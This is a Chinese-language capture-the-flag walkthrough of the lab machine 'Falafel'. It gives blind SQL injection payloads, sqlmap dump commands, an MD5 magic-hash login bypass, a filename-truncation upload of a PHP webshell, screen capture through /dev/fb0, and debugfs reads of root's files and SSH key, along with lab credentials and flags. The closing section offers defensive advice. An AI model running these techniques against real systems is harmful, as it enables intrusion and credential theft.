[Meachines] [Hard] Falafel SQLMAP 登入页面盲注+文件截断上传+MCollider(MD5枚举)+devfb0帧缓冲器+debugfs权限提升
字数 1300 2025-08-20 18:18:11
Falafel 渗透测试实战教学文档
1. 信息收集阶段
1.1 目标识别
- IP地址: 10.10.10.73
- 开放端口:
- 22/tcp: OpenSSH 7.2p2 (Ubuntu)
- 80/tcp: Apache httpd 2.4.18 (Ubuntu)
1.2 服务枚举
nmap -p- 10.10.10.73 --min-rate 1000 -sC -sV
发现关键信息:
- HTTP服务器头: Apache/2.4.18 (Ubuntu)
- robots.txt中有一条禁止条目:
/*.txt
2. Web应用渗透
2.1 SQL注入攻击
2.1.1 手动测试
在登录页面测试SQL注入:
username=admin' and '1'='1'--+&password=
username=admin' and '1'='2'--+&password=
观察响应差异:
- 用户名不存在: 显示"重试"
- 用户名存在: 显示"Wrong identification: admin"
2.1.2 使用sqlmap自动化
sqlmap -r sql --level 5 --risk 3 --batch --string "Wrong identification"
sqlmap -r sql --level 5 --risk 3 --batch --string "Wrong identification" --dump
获取到凭据:
- 用户名: chris
- 密码: juggling
2.2 管理员账户破解
使用MCollider工具爆破admin用户的MD5值:
python3 MCollider.py -md5 0e4620
结果: 240610708 (对应MD5: 0e462097431906509019562988736854)
3. 文件上传漏洞利用
3.1 文件截断攻击
- 上传文件会被保存在类似
uploads/0909-0757_e7753937572b0b96的目录中 - 测试文件名长度限制:
touch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.png
发现总长度限制为241字节,超长文件名会导致.png后缀丢失
3.2 上传Webshell
- 创建恶意PHP文件:
cp p0wny.php AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.png
- 访问上传的Webshell:
http://10.10.10.73/uploads/0909-0811_ea7487f48ad80ceb/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php
4. 权限提升路径
4.1 获取数据库凭据
在Webshell中查看数据库连接文件:
cat /var/www/html/connection.php
获取到:
- 用户名: moshe
- 密码: falafelIsReallyTasty
4.2 切换用户
su moshe
获取user.txt: 2b430278d922c8141b444ce36292e7f2
5. 横向移动
5.1 利用帧缓冲设备
- 检查当前登录用户:
w
发现yossi用户已登录
- 捕获帧缓冲内容:
cat /dev/fb0 > /tmp/screenshot.raw
- 获取屏幕分辨率:
cat /sys/class/graphics/fb0/virtual_size
- 使用GIMP打开raw文件(分辨率1176x885),导出为PNG查看
5.2 获取yossi凭据
从截图中发现:
- 用户名: yossi
- 密码: MoshePlzStopHackingMe!
6. 最终权限提升
6.1 检查块设备
df
blkid
发现:
- sda1: 主磁盘
- sda2: 交换磁盘
6.2 使用debugfs
debugfs /dev/sda1
在debugfs交互模式中:
cat /root/root.txt
cat /root/.ssh/id_rsa
6.3 获取root权限
- 设置私钥权限:
chmod 600 ./id_rsa
- SSH登录root:
ssh -i /tmp/id_rsa root@10.10.10.73
- 获取root.txt: 1f0167a6445788cc5c03f8ac93b82f71
7. 关键工具总结
- nmap: 端口扫描和服务识别
- sqlmap: SQL注入自动化工具
- MCollider: MD5碰撞工具
- debugfs: 文件系统调试工具
- GIMP: 图像处理工具(用于查看帧缓冲数据)
8. 防御建议
- 对用户输入进行严格过滤,防止SQL注入
- 限制上传文件类型和文件名长度
- 使用更安全的哈希算法(如SHA-256)代替MD5
- 限制对/dev/fb0等设备的访问
- 定期检查系统上的suid文件和异常进程
- 更新系统和软件到最新版本